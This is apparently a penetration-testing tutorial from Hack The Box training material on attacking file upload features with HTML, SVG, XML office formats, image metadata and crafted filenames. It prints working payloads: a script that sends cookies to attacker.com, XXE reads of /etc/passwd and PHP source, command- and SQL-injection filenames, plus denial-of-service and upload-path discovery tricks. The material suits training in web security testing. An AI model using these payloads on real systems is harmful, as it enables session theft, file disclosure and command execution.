Sometimes the upload form just won’t let you drop executable code — the filters are tight, or the handler is too locked down. But non-executable file formats can still be dangerous. The trick is to exploit the file format’s features, not the filename.
HTML Files
If .html is allowed, you have stored XSS. Upload a file with embedded JavaScript:
<script>
fetch('https://attacker.com/log?c=' + document.cookie);
</script>When a victim visits the uploaded page, it fires with the same origin as the application.
SVG Files — XSS
SVG is XML, and browsers render it as an image — including executing any <script> tags inside. If SVG is allowed:
<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" version="1.1" width="1" height="1">
<script type="text/javascript">alert(window.origin);</script>
</svg>Upload, visit the file (or wait for someone else to view it as a profile picture, etc.) — JavaScript runs in the context of the application.
SVG Files — XXE
Because SVG is XML, you can define external entities inside it. If the server parses the SVG before serving (common for thumbnail generation or sanitization), you can make the server read local files:
<?xml version="1.0"?>
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<svg>&xxe;</svg>&xxe; gets replaced with the file contents, which then appear wherever the SVG is rendered.
Reading PHP source (raw PHP would break the XML parser, so base64-encode it on the way out):
<?xml version="1.0"?>
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]>
<svg>&xxe;</svg>Decode the result with echo '<base64>' | base64 -d. Reading source code enables whitebox testing — you learn the upload directory, validation logic, and other weak points.
XXE isn't just SVG
PDF, DOCX, PPTX, XLSX are all XML internally. If a vulnerable viewer renders them, the same XXE payload works (often blind). The entity URL can also hit internal services (SSRF).
Image Metadata XSS
When the application displays EXIF/IPTC metadata (artist name, comments, GPS coords), those fields often get injected into HTML without escaping:
exiftool -Artist='"><script>alert(1)</script>' profile.jpg
exiftool -Comment='"><img src=1 onerror=alert(window.origin)>' HTB.jpgThe leading ">< breaks out of a surrounding HTML attribute (e.g. <meta name="author" content="...">), then your payload fires.
Filename-Based Attacks
The filename itself is user-controlled input, and applications sometimes use it unsafely downstream:
- OS command injection —
file$(whoami).jpg,file`whoami`.jpg, orfile.jpg||whoami. Fires if the app shells out to move or process the file (e.g.mv file /tmp). - XSS via filename —
<script>alert(1)</script>.jpg. Fires if the filename is displayed to other users. - SQLi via filename —
file';SELECT+SLEEP(5);--.jpg. Fires if the filename is inserted into a query without sanitization.
DoS Vectors
If RCE is impossible but denial-of-service is in scope:
- Decompression bombs — nested ZIPs that expand to petabytes if the app auto-unzips
- Pixel flood — a tiny JPG/PNG with faked
0xffff × 0xffffdimensions (~4 gigapixels); the server OOMs on render - Oversized files — no size limit → fill the disk
- Path traversal filename — upload to
../../../etc/passwdto crash or overwrite
Windows-Specific Tricks
- Reserved characters (
| < > * ?) in a filename — if not sanitized/quoted, can reference other files or throw disclosive errors - Reserved device names (
CON,COM1,LPT1,NUL) — OS refuses to create files with these names, causing errors that leak internal paths - 8.3 short filename convention — old Windows truncates long names:
hackthebox.txt→HAC~1.TXT. Use this to target/overwrite files you otherwise couldn’t name directly (e.g.WEB~1.CONresolves toweb.conf)
Upload Directory Disclosure
You need to know where your file landed to trigger it:
- Fuzz common paths:
/uploads/,/files/,/images/,/media/,/user/ - Force errors to leak the path — upload a 5000-character filename or a duplicate name
- Use another vulnerability (LFI, XXE) to read source and locate the upload handler
